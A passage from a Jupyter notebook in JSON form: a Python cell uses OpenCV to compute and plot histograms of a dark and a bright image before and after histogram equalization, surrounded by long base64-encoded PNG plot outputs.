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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "import cv2 \n", - "import numpy as np\n", - "import matplotlib.pyplot as plt\n", - "\n", - "img = cv2.imread('darkImage.png', 0)\n", - "imgB = cv2.imread('brightImage.png', 0)\n", - "\n", - "hist1 = cv2.calcHist([img], [0], None, [256], [0,256])\n", - "hist2 = cv2.calcHist([imgB], [0], None, [256], [0,256])\n", - "\n", - "# Create new histogram after equalizer \n", - "\n", - "equalizedImage1 = cv2.equalizeHist(img);\n", - "equalizedImageB = cv2.equalizeHist(imgB);\n", - "\n", - "equalizedHist1 = cv2.calcHist([equalizedImage1], [0], None, [256], [0, 256]) \n", - "equalizedHist2 = cv2.calcHist([equalizedImageB], [0], None, [256], [0, 256]) \n", - "\n", - "#plotting\n", - "plt.subplot(221), plt.plot(hist1)\n", - "plt.subplot(222), plt.plot(hist2)\n", - "plt.subplot(223), plt.plot(equalizedHist1)\n", - "plt.subplot(224), plt.plot(equalizedHist2)\n", - "\n", - "plt.show()" - ] - }, - { - "cell_type": "code", - "execution_count": 4, - "id": "cb9e336d", - "metadata": {}, - "outputs": [ - { - "data": { - "image/png": "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